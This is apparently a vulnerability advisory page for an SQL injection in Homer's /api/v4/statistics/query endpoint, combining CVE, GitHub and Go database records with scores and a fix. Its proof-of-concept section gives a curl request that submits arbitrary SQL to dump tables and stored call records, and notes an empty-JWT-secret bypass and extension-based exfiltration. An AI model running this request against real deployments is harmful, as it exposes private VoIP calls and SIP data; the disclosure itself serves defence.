8.1high
Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query
- Severity
- 8.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.43% (higher than 39% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-f46q-3v67-fmm4GO-2026-6672
Description
Homer is open source telecom observability software. Prior to version 11.0.283, the `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service. Version 11.0.283 patches the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| sipcapture homer | < 11.0.283 | CVE List |
| github.com/sipcapture/homer-app (Go) | before 0.0.0-20260625085520-a7d027dc684b, all versions | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.
What each source says
CVE List
Homer is open source telecom observability software. Prior to version 11.0.283, the `V4StatisticsQuery` handler passes the user-supplied `rawquery` field directly to DuckDB without calling the `sqlvalidator.ValidateRawSQL` function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service. Version 11.0.283 patches the issue.
GitHub Advisory Database
Summary
The V4StatisticsQuery handler passes the user-supplied rawquery field directly to DuckDB without calling the sqlvalidator.ValidateRawSQL function used throughout the rest of the codebase. Any authenticated user can execute arbitrary SQL statements against all data accessible through the FlightSQL service.
Details
coordinator/handlers/statistics_v4.go lines 74-107 — V4StatisticsQuery:
query := &model.V4StatisticsQuery{}
if err = c.Bind(query); err != nil { ... }
// No ValidateRawSQL call here — contrast with other handlers:
results, err := h.flightService.Query(c.Request().Context(), query.RawQuery)
Contrast with coordinator/handlers/search.go line 194 — secure pattern not followed:
if err := sqlvalidator.ValidateRawSQL(rawQuery); err != nil {
return c.JSON(http.StatusBadRequest, ...)
}
query.RawQuery is whatever the caller submitted; it is passed verbatim to the FlightSQL/DuckDB backend. The handler is registered under the protected group (requires JWT), but given that the default JWT secret is empty (see related advisory), this is effectively pre-authentication on a default deployment.
PoC
# With a valid JWT (or empty JWT secret bypass):
curl -s -X POST http://<homer-host>/api/v4/statistics/query \
-H "Authorization: Bearer <jwt>" \
-H "Content-Type: application/json" \
-d '{
"param": {
"query": [{"rawquery": "SELECT * FROM information_schema.tables"}]
}
}'
# Returns all table names accessible to the DuckDB FlightSQL service
# Exfiltrate all stored call records:
# "rawquery": "SELECT * FROM hep LIMIT 1000"
# Arbitrary DuckDB SQL is accepted including INSTALL/LOAD for extension-based exfiltration
Impact
SQL Injection / Improper Neutralization of Special Elements (CWE-89). Any authenticated user can execute arbitrary SQL against all data accessible to the FlightSQL/DuckDB backend — including all stored VoIP call records, SIP messages, and metadata. Combined with the authentication bypass when JWT secret is empty, this is exploitable without credentials.
Fix
Apply sqlvalidator.ValidateRawSQL() to query.RawQuery before passing it to h.flightService.Query(), matching the pattern already used in search.go and transactions_v4.go.
If possible, please apply for a CVE number when posting.
Go Vulnerability Database
Homer: Authenticated SQL Injection via Unvalidated rawquery Field in /api/v4/statistics/query in github.com/sipcapture/homer-app.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/sipcapture/homer-app before v0.0.0-20260625085520-a7d027dc684b.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-62251 changed 2026-10-07 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-f46q-3v67-fmm4 changed 2026-10-20 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-6672 changed 2026-10-20 | CC-BY-4.0 |
| NVD | CVE-2026-62251 changed 2026-10-08 | Public domain |